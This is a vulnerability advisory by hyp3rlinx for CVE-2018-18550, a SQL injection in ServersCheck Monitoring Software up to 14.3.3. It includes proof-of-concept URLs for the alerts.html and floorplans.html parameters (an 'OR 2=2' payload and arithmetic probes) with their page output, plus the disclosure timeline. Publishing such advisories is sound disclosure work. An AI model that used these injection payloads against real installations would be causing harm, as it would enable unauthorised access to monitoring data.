ServersCheck Monitoring Software 14.3.3 SQL Injection

`[+] Credits: John Page (aka hyp3rlinx)   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt  
[+] ISR: ApparitionSec   
  
Greetz: ***Greetz: indoushka | Eduardo B.***  
  
  
[Vendor]  
www.serverscheck.com  
  
  
[Product]  
ServersCheck Monitoring Software - through 14.3.3  
  
Software for monitoring your edge computing infrastructure, network & servers.  
  
http://downloads.serverscheck.com/monitoring_software/setup.exe  
File hash: b7bffe4fc83b6a4586c099d6c62d8eeb  
  
  
  
[Vulnerability Type]  
SQL Injection  
  
  
  
[CVE Reference]  
CVE-2018-18550  
  
  
[Security Issue]  
ServersCheck Monitoring Software allows for SQL Injection by an authenticated user via the alerts.html "id" parameter.  
  
  
  
[References]  
https://serverscheck.com/monitoring-software/release.asp  
  
  
  
[Exploit/POC]  
http://127.0.0.1:1272/alerts.html?id=18391  
  
Result:  
Alerts History for SENSORXY  
No data available in table  
  
Then using 'OR+2=2,  
  
http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+  
  
Result:  
  
Alerts History for test  
155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK   
154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN   
153 a day ago test Status Change OK to DOWN Unable to connect to host  
  
  
SQL Injection - original page results successfully manipulated using 18391-2  
-----------------------------------------------------------------------------  
  
Examples:  
  
http://127.0.0.1:1272/alerts.html?id=18391  
No data available in table  
  
Then using 34 minus 2,  
  
http://127.0.0.1:1272/alerts.html?id=18391-2  
153 a day ago test Status Change OK to DOWN Unable to connect to host  
  
and minus 1,  
  
http://127.0.0.1:1272/alerts.html?id=18391-1  
155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK   
154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN  
  
  
http://127.0.0.1:1272/floorplans.html?floorplan=34  
Floor Plan PLANXY  
  
Then using 34 minus 2,  
  
http://127.0.0.1:1272/floorplans.html?floorplan=34-2  
Floor Plan 0   
  
  
  
[Network Access]  
Remote  
  
  
  
[Severity]  
High  
  
  
[Disclosure Timeline]  
Vendor Notification: October 6, 2018  
Vendor acknowledgement: October 7, 2018  
Vendor release v14.3.4 : October 7th, 2018   
CVE assign by Mitre: October 21, 2018  
October 22, 2018 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`